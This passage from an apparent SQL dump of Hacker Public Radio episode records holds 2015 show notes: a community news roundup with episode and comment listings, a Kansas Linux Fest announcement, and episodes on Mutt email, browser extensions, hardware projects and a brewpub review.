href=\"https://hackerpublicradio.org/eps.php?id=1834\" target=\"_blank\">Password Cards</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1835\" target=\"_blank\">1835</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-08-14</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1835\" target=\"_blank\">59 - LibreOffice Impress - Pictures</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1836\" target=\"_blank\">1836</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-08-17</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1836\" target=\"_blank\">The Statusnet Shuffle</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1837\" target=\"_blank\">1837</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-08-18</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1837\" target=\"_blank\">Put an SSD in your Linux Box</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=285\" target=\"_blank\">2BFrank</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1838\" target=\"_blank\">1838</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-08-19</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1838\" target=\"_blank\">Waking up with Windigo</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1839\" target=\"_blank\">1839</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-08-20</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1839\" target=\"_blank\">My &quot;New&quot; Used Pickup Truck</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1840\" target=\"_blank\">1840</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-08-21</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1840\" target=\"_blank\">Running external commands in Kate</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1841\" target=\"_blank\">1841</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-08-24</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1841\" target=\"_blank\">My way into Linux</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1842\" target=\"_blank\">1842</a></strong></td>\n    <td align=\"left\">Tue</td>\n    <td align=\"left\">2015-08-25</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1842\" target=\"_blank\">TiT Radio 20 You&#39;ve Been Pwned (probably)</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1843\" target=\"_blank\">1843</a></strong></td>\n    <td align=\"left\">Wed</td>\n    <td align=\"left\">2015-08-26</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1843\" target=\"_blank\">Some Bash tips</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1844\" target=\"_blank\">1844</a></strong></td>\n    <td align=\"left\">Thu</td>\n    <td align=\"left\">2015-08-27</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1844\" target=\"_blank\">The Marantz PMD 660 Professional Solid State Recorder</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1845\" target=\"_blank\">1845</a></strong></td>\n    <td align=\"left\">Fri</td>\n    <td align=\"left\">2015-08-28</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1845\" target=\"_blank\">60 - LibreOffice Impress - The Gallery and Themes</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a></td>\n    </tr>\n    <tr valign=\"top\">\n    <td align=\"left\"><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1846\" target=\"_blank\">1846</a></strong></td>\n    <td align=\"left\">Mon</td>\n    <td align=\"left\">2015-08-31</td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/eps.php?id=1846\" target=\"_blank\">UNI-T UT61E Review</a></td>\n    <td align=\"left\"><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a></td>\n    </tr>\n</table>\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This discussion takes\nplace on the <a href=\"https://hackerpublicradio.org/maillist\" target=\"_blank\">Mail List</a> which is open to all\nHPR listeners and contributors. The discussions are open and available on the\n<a href=\"https://news.gmane.org/gmane.network.syndication.podcast.hacker-public-radio\" target=\"_blank\">Gmane</a>\narchive.\n</p>\n<p>The main threads this month were:</p>\n<ol>\n    <li><em>From:</em> Dave Morriss &lt;perloid@...&gt;<br/>\n        <em>Date:</em> 2015-08-15 14:57:43 +0100<br/>\n        <em>Subject:</em> Help with tags and summaries<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/906\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/906</a><br/>\n        <em>Messages:</em> 1<br/><br/></li>\n    <li><em>From:</em> Kevin O&#39;Brien &lt;zwilnik@...&gt;<br/>\n        <em>Date:</em> 2015-08-15 19:17:10 -0400<br/>\n        <em>Subject:</em> Jon Kulp and group efforts<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/907\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/907</a><br/>\n        <em>Messages:</em> 2<br/><br/></li>\n    <li><em>From:</em> Ken Fallon &lt;ken@...&gt;<br/>\n        <em>Date:</em> 2015-08-19 11:48:59 +0200<br/>\n        <em>Subject:</em> Do you owe me a show ?<br/>\n        <em>Link:</em> <a href=\"https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/909\" target=\"_blank\">https://comments.gmane.org/gmane.network.syndication.podcast.hacker-public-radio/909</a><br/>\n        <em>Messages:</em> 2<br/></li>\n</ol>\nTotal messages this month: 5<br/>\n\n\n<h2>Comments this month</h2>\n\n<p>There are 36 comments:</p>\n<ul> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1612#comments\" target=\"_blank\">hpr1612</a></strong>\n(2014-10-07) \"<em>Don&#39;t Forget the Referbs</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.\n<ul>      <li><a href=\"https://hackerpublicradio.org/eps.php?id=1612#5\" target=\"_blank\">Comment 5</a>:\nNYbill on 2015-08-15:\n\"Sorry I&#39;m late...\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1810#comments\" target=\"_blank\">hpr1810</a></strong>\n(2015-07-10) \"<em>17 - LastPass Hacked - What Does It Mean?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=198\" target=\"_blank\">Ahuka</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1810#1\" target=\"_blank\">Comment 1</a>:\namp on 2015-08-08:\n\"but it is not free software\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1827#comments\" target=\"_blank\">hpr1827</a></strong>\n(2015-08-04) \"<em>How I make bread</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1827#1\" target=\"_blank\">Comment 1</a>:\nCharlie Ebert on 2015-08-03:\n\"Me.\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1827#2\" target=\"_blank\">Comment 2</a>:\nDaniel Worth on 2015-08-07:\n\"Great!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1827#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2015-08-10:\n\"Thanks for the feeedback\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1828#comments\" target=\"_blank\">hpr1828</a></strong>\n(2015-08-05) \"<em>Multimeter Mod&#39;s Part 1</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1828#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp  on 2015-08-05:\n\"Awesome\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1828#2\" target=\"_blank\">Comment 2</a>:\nNYbill on 2015-08-06:\"[no title]\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1829#comments\" target=\"_blank\">hpr1829</a></strong>\n(2015-08-06) \"<em>My &quot;New&quot; Used Kindle DX</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1829#1\" target=\"_blank\">Comment 1</a>:\nFweeb on 2015-08-07:\n\"BQ Cervantes?\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1829#2\" target=\"_blank\">Comment 2</a>:\ncybergrue on 2015-08-07:\n\"One thing you missed\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1829#3\" target=\"_blank\">Comment 3</a>:\nJon Kulp  on 2015-08-07:\n\"good catch (PDFs)\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1829#4\" target=\"_blank\">Comment 4</a>:\nJon Kulp  on 2015-08-07:\n\"Cervantes Reader\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1830#comments\" target=\"_blank\">hpr1830</a></strong>\n(2015-08-07) \"<em>How Holland Works: GreenWheels</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=30\" target=\"_blank\">Ken Fallon</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1830#1\" target=\"_blank\">Comment 1</a>:\nFiftyOneFifty on 2015-07-16:\n\"I thought this was about the dikes\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1830#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-08-11:\n\"Thanks for the insight\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1831#comments\" target=\"_blank\">hpr1831</a></strong>\n(2015-08-10) \"<em>Are speed listening and slow background music compatible?</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=308\" target=\"_blank\">A Shadowy Figure</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1831#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp  on 2015-08-09:\n\"1.7x\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1831#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2015-08-10:\n\"1.7x works for me\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1831#3\" target=\"_blank\">Comment 3</a>:\nA Shadowy Figure on 2015-08-10:\n\"Thanks, now I have a starting point\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1831#4\" target=\"_blank\">Comment 4</a>:\nWindigo on 2015-08-17:\n\"Normal - 1.5x\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://www.hackerpublicradio.org/eps.php?id=1832#comments\" target=\"_blank\">hpr1832</a></strong>\n(2015-08-11) \"<em>Simplify writing using markdown and pandoc</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" target=\"_blank\">b-yeezi</a>.\n<ul>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1832#1\" target=\"_blank\">Comment 1</a>:\n0xf10e on 2015-08-11:\n\"thx, very useful\"</li>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1832#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2015-08-12:\n\"plus HTML as needed\"</li>  <li><a href=\"https://www.hackerpublicradio.org/eps.php?id=1832#3\" target=\"_blank\">Comment 3</a>:\nDave Morriss on 2015-08-17:\n\"Excellent episode\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1836#comments\" target=\"_blank\">hpr1836</a></strong>\n(2015-08-17) \"<em>The Statusnet Shuffle</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=235\" target=\"_blank\">NYbill</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1836#1\" target=\"_blank\">Comment 1</a>:\n0xf10e on 2015-08-17:\n\"you should put up some VPS based blog ;)\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1836#2\" target=\"_blank\">Comment 2</a>:\nNYbill on 2015-08-18:\n\"maybe some day...\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1837#comments\" target=\"_blank\">hpr1837</a></strong>\n(2015-08-18) \"<em>Put an SSD in your Linux Box</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=285\" target=\"_blank\">2BFrank</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1837#1\" target=\"_blank\">Comment 1</a>:\n0xf10e on 2015-08-18:\n\"correction on TRIM\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1837#2\" target=\"_blank\">Comment 2</a>:\nnoah on 2015-08-21:\n\"minimizing writes\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1838#comments\" target=\"_blank\">hpr1838</a></strong>\n(2015-08-19) \"<em>Waking up with Windigo</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=215\" target=\"_blank\">Windigo</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1838#1\" target=\"_blank\">Comment 1</a>:\nJon Kulp  on 2015-08-19:\n\"The Very Essence\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1838#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-08-19:\n\"I wouldn&#39;t have done it that way...\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1838#3\" target=\"_blank\">Comment 3</a>:\nNYbill on 2015-08-20:\"[no title]\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1838#4\" target=\"_blank\">Comment 4</a>:\nBeeza on 2015-08-20:\n\"Geekdom At Its Very Best\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1841#comments\" target=\"_blank\">hpr1841</a></strong>\n(2015-08-24) \"<em>My way into Linux</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=309\" target=\"_blank\">folky</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1841#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2015-08-31:\n\"Great first episode!\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1842#comments\" target=\"_blank\">hpr1842</a></strong>\n(2015-08-25) \"<em>TiT Radio 20 You&#39;ve Been Pwned (probably)</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=131\" target=\"_blank\">FiftyOneFifty</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1842#1\" target=\"_blank\">Comment 1</a>:\n0xf10e on 2015-08-25:\n\"Re: Car Malware \"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1842#2\" target=\"_blank\">Comment 2</a>:\nMike Ray on 2015-08-25:\n\"We&#39;re doomed I tell eee\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1843#comments\" target=\"_blank\">hpr1843</a></strong>\n(2015-08-26) \"<em>Some Bash tips</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" target=\"_blank\">Dave Morriss</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1843#1\" target=\"_blank\">Comment 1</a>:\nKen Fallon on 2015-08-26:\n\"Obsolete ?\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1843#2\" target=\"_blank\">Comment 2</a>:\nDave Morriss on 2015-08-28:\n\"Maybe obsolescent or outmoded\"</li> \n</ul><br/></li> \n<li><strong><a href=\"https://hackerpublicradio.org/eps.php?id=1844#comments\" target=\"_blank\">hpr1844</a></strong>\n(2015-08-27) \"<em>The Marantz PMD 660 Professional Solid State Recorder</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=238\" target=\"_blank\">Jon Kulp</a>.\n<ul>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1844#1\" target=\"_blank\">Comment 1</a>:\nMike Ray on 2015-08-29:\n\"Quality\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1844#2\" target=\"_blank\">Comment 2</a>:\nJon Kulp on 2015-08-30:\n\"Open Goldberg!\"</li>  <li><a href=\"https://hackerpublicradio.org/eps.php?id=1844#3\" target=\"_blank\">Comment 3</a>:\nKevin O&#39;Brien on 2015-08-31:\n\"Agree with Mike\"</li></ul>\n</li>\n</ul>',159,47,1,'CC-BY-SA','Community News',0,0,1),
(1722,'2015-03-10','Kansas Linux Fest 2015, March 21-22, Lawrence KS',367,'We wish to announce a new Linux Fest to serve the Midwest','<p>\r\nWe are pleased to announce the first annual Kansas Linux Fest (<a href=\"https://KansasLinuxFest.us\">https://KansasLinuxFest.us</a>), hashtag #KLF15.  It will be hosted by the Lawrence Public Library, Lawrence Kansas, March 21-22, 2015.  The Kansas Linux Fest is a project of the Free/Libre Open Source and Open Knowledge Association of Kansas (<a href=\"https://www.openkansas.us\">https://www.openkansas.us</a>) and other organizations.  \r\n</p>\r\n<p>\r\nSpecial recognition needs to be paid to Hacker Public Radio contributor James Michael DuPont for taking point in making a community event in the central United States a reality.  Speakers (<a href=\"https://www.kansaslinuxfest.us/pages/schedule.html\">https://www.kansaslinuxfest.us/pages/schedule.html</a> ) include Open Source Advocate Dave Lester, Hal Gottfried, cofounder of the Open Hardware Evangelist Kansas City Open Hardware Group, David Stokes, MySQL Community Manager at Oracle, Ben C. Roose, Technology Consultant for Live Performance, Kevin Lane,  Technical Consultant IV at HP Enterprise Services, Jonathan George, CEO @boxcar, and podcaster and open source evangelist, FiftyOneFifty.\r\n</p>\r\n<p>\r\nRegistration for conference tickets can be found on the KLF website.  Fan tickets are free, but supporter level tickets may be purchased with a free will donation which will go towards marketing and food.\r\n</p>\r\n<p>\r\nYou will find links on the <a href=\"https://KansasLinuxFest.us\">https://KansasLinuxFest.us</a> homepage that will allow you to follow the conference on social and other media, as well as an RSS feed.  There is also information on how to become involved with Free/Libre Open Source and Open Knowledge Association of Kansas.\r\n</p>',131,0,0,'CC-BY-SA','#KLF15, Kansas Linux Fest, KLF',0,0,1),
(1723,'2015-03-11','Success With Students',1648,'From taking a podcasting course, students learn the benefit of Creative Commons and open source','<p>\r\nFor his second attempt at a solo episode of HPR, Kevie talks about a very positive experience he had introducing school pupils to podcasting.  From this he was able to discuss the benefits of Creative Commons music and using open source, cross platform software.  The ultimate success came when three students took the plunge and installed Linux on their own computers.\r\n</p>\r\n\r\n<h3>Music included in this episode:</h3>\r\n<ul>\r\n        <li>Try by Feixl <a href=\"https://www.jamendo.com/en/track/1203446/try\">https://www.jamendo.com/en/track/1203446/try</a></li>\r\n        <li>Make My Day by Sunburst <a href=\"https://www.jamendo.com/en/track/964586/make-my-day\">https://www.jamendo.com/en/track/964586/make-my-day</a></li>\r\n</ul>\r\n',296,0,0,'CC-BY-SA','open source, ccmusic, audacity, school, education',0,0,1),
(1726,'2015-03-16','15 Excuses not to Record a show for HPR',1137,'Inspired by a recent meeting with Ken Fallon, Knightwise presents 15 excuses not to record a show.','<p>\r\nInspired by a recent meeting with Ken Fallon at Fossdem, Knightwise presents 15 excuses not to record for Hacker Public Radio.\r\n</p>\r\n<ol>\r\n<li>I don\'t have the right Gear</li>\r\n<li>It doesn\'t sound so polished</li>\r\n<li>I don\'t know how to upload</li>\r\n<li>I don\'t have a radio voice</li>\r\n<li>I don\'t have the time</li>\r\n<li>I\'m shy</li>\r\n<li>I don\'t have anything to say</li>\r\n<li>The stuff I know about is realy niche and noone will be interested</li>\r\n<li>What if I get negative comments</li>\r\n<li>Who would listen to my show anyway</li>\r\n<li>I\'ve never done this before</li>\r\n<li>I\'ll get around to it someday</li>\r\n<li>I recorded a show but I\'m too afraid to submit it</li>\r\n<li>It takes me a long time to edit out the \"um\" and \"er\"</li>\r\n<li>I don\'t know enough about audio editing yet</li>\r\n</ol>',111,0,0,'CC-BY-SA','hpr,podcasting,tips,techniques,kw,knightwise,excuses',0,0,1),
(1727,'2015-03-17','Basic Mutt',1902,'Frank Bell discusses setting up and using Mutt as an email client.','Using a text email client such as Mutt is quite a learning experience.  Here is some information to help you get started.<br />\r\n\r\nThe programs that Frank used to set up Mutt:<br />\r\n\r\nGetting and Sorting Mail:  <br />\r\nFetchmail <a href=\"https://sourceforge.net/projects/fetchmail/\">https://sourceforge.net/projects/fetchmail/</a><br />\r\nProcmail and Formail <a href=\"https://www.procmail.org/\">https://www.procmail.org/</a><br />\r\n\r\nReading and Composing Mail:  Mutt <a href=\"https://www.mutt.org/\">https://www.mutt.org/</a><br />\r\n\r\nSending Mail:  msmtp <a href=\"https://msmtp.sourceforge.net/\">https://msmtp.sourceforge.net/</a><br />\r\n\r\nThese are the references that Frank found most helpful:<br />\r\n\r\nConfiguring Mutt:<br />\r\nQuickstart Guide to Mutt: <a href=\"https://docs.huihoo.com/gentoo/resources/document-listing/guide-to-mutt.html\">https://docs.huihoo.com/gentoo/resources/document-listing/guide-to-mutt.html</a><br />\r\n\r\nCalmar on Mutt:  <a href=\"https://www.calmar.ws/mutt/\">https://www.calmar.ws/mutt/</a><br />\r\nFeeding the Cloud:  Handling multiple identities/accounts in mutt:  <a href=\"https://feeding.cloud.geek.nz/posts/handling-multiple-identitiesaccounts-in/\">https://feeding.cloud.geek.nz/posts/handling-multiple-identitiesaccounts-in/</a><br />\r\n\r\nProcmail (the UMBC link is a great introduction to procmail and procmail\'s regex):<br />\r\nMail Filtering with Procmail:  <a href=\"https://userpages.umbc.edu/~ian/procmail.html#example\">https://userpages.umbc.edu/~ian/procmail.html#example</a><br />\r\n<a href=\"https://www.linux-mag.com/id/826/\">https://www.linux-mag.com/id/826/</a><br />\r\n\r\nSome Text Browsers (for help in parsing HTML emails)<br />\r\nLynx <a href=\"https://lynx.isc.org/\">https://lynx.isc.org/</a><br />\r\nLinks <a href=\"https://www.jikos.cz/~mikulas/links/\">https://www.jikos.cz/~mikulas/links/</a><br />\r\nelinks <a href=\"https://elinks.or.cz/\">https://elinks.or.cz/</a><br />\r\nw3m <a href=\"https://w3m.sourceforge.net/\">https://w3m.sourceforge.net/</a><br />\r\n',195,0,1,'CC-BY-SA','Mutt,email,procmail,fetchmail',0,0,1),
(1729,'2015-03-19','Shield\'s Up - Wood Stove Heat Shield Project',957,'David Whitman builds a safety heat shield for a wood stove in his shop','<p>\r\nThe Problem: Wood stoves get really hot<br />\r\nThe solution: metal heat shield and airspace <br />\r\nI describe how I used common materials and self designed a wood stove heat Shield.<br />\r\nHopefully there are pictures attached to this episode show notes so you can see just how well I described my project<br />\r\n</p>\r\n<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr1729-Pictures_Shield_Up-Wood_Stove_Heat_Shield.pdf\">https://hackerpublicradio.org/eps/hpr1729-Pictures_Shield_Up-Wood_Stove_Heat_Shield.pdf</a>\r\n</p>',209,0,1,'CC-BY-SA','Shop, wood heat, Oregon, safety',0,0,1),
(1728,'2015-03-18','Requested Topic: Favourite Browser Extensions',1204,'Fin talks about his favourite browser extensions.','<p>\r\nNoScript is great for blocking JavaScript that may be undesirable. Scripts tend to track users or load obtrusive or undesirable content in my experience.\r\nNoScript also blocks Adobe Flash and Java which can be resource hogs. A simple click will activate them. Scripts can be enabled or disabled by site.\r\n</p>\r\n<p>\r\nHTTPS Everywhere will automatically direct your browser to a secure https version of sites you visit, if available. Great for security (obviously).\r\n</p>\r\n<p>\r\nAdblock Edge is a great ad blocker. It blocks all ads no matter how obtrusive they are. Does not contain hidden white-list like more popular ad blocker: Adblock Plus.\r\n</p>\r\n<p>\r\nLibreJS targets non free JavaScript. I think it is a fantastic idea but makes too many sites unusable. I prefer NoScript as I can more easily micro-manage scripts per domain.\r\n</p>\r\n\r\n<h3>Links:</h3>\r\n\r\n<ul>\r\n<li>FireFox <a href=\"https://www.firefox.com/\">https://www.firefox.com/</a>\r\n</li>\r\n<li>Ahuka\'s show about security certificates <a href=\"https://hackerpublicradio.org/eps.php?id=1720\">https://hackerpublicradio.org/eps.php?id=1720</a>\r\n</li>\r\n<li>NoScript <a href=\"https://noscript.net/\">https://noscript.net/</a>\r\n</li>\r\n<li>HTTPS Everywhere <a href=\"https://www.eff.org/https-everywhere/\">https://www.eff.org/https-everywhere/</a>\r\n</li>\r\n<li>Adblock Edge <a href=\"https://adstomper.bitbucket.org/\">https://adstomper.bitbucket.org/</a>\r\n</li>\r\n<li>LibreJS <a href=\"https://www.gnu.org/software/librejs/\">https://www.gnu.org/software/librejs/</a>\r\n</li>\r\n</ul>\r\n',299,74,1,'CC-BY-SA','browser extensions,firefox,noscript,https everywhere,adblock edge,librejs',0,0,1),
(1731,'2015-03-23','Upgrading an old laptop',719,'I put brand new parts into an old fujitsu lifebook 4215','<p>\r\nIn July of 2010 I was given a laptop to repair by one of my friends, I couldn’t figure out what was wrong with it despite hours of trial and error so eventually I got so frustrated with it that I just set it aside and forgot about for a while. Meanwhile my friend got another laptop so he told me I could keep it.\r\n</p>\r\n\r\n<p>\r\nFor the rest of the post see:<br />\r\n<a href=\"https://anthonyvenable110.wordpress.com/2011/10/10/upgrading-my-laptop/\">https://anthonyvenable110.wordpress.com/2011/10/10/upgrading-my-laptop/</a>\r\n</p>',297,0,0,'CC-BY-SA','hardware upgrade,laptop',0,0,1),
(1730,'2015-03-20','5150 Shades of Beer 0005 River City Brewing Company Revisited',2295,'Fifty One Fity revisits an Air Capitol brewpub to try some new flavors','<p>\r\nThe great thing about brew pubs is that they always trying new beers so the customer experience doesnt become as stale asa half finished can of Budweiser let out overnight.  That means I can return to the same place and experience a whole new vista of flavors.  Such was the case last Sunday, when a social affair brought me withing blocks of the River City Brewing Company in Wichita Kansas.  I had the forethought to be my three growlers for refilling, and by the time the meeting was of it was time for a burger and a beer anyway.  Lets talk about the meal first.\r\n</p>\r\n<p>\r\nHaving already tried their pizza and amazing Cuban sandwich on previous trips, this time a went for a burger.  From the River City menu ( <a href=\"https://www.rivercitybrewingco.com/rcbmenu.pdf\">https://www.rivercitybrewingco.com/rcbmenu.pdf</a> ) The Memphis Burger is topped with sweet pepper bacon, cheddar cheese, crispy onion strings and chipotle BBQ sauce.  On top of all that, the hamburger was grilled to perfection, in my case that being exceedingly rare.  (One of my Dads friends, every time he sees me eating a steak or a burger, always comments You know, Ive seen a critter hurt worse that that and live).  I was most impressed by the onion strings.  These are not the French fried onion rings that you find atop your green beans on Thanksgiving, but rather the most delicate strings of onion imaginable, battered and fried.  I found myself wishing Id thought to order extra BBQ sauce for my French fries, which were hearty and sprinkled with fresh ground black pepper.  Id never thought of peppering my fries before, but be assured Ill do so in the future.\r\n</p>\r\n<p>\r\nTo accompany my burger, I selected the Breckenridge Bourbon 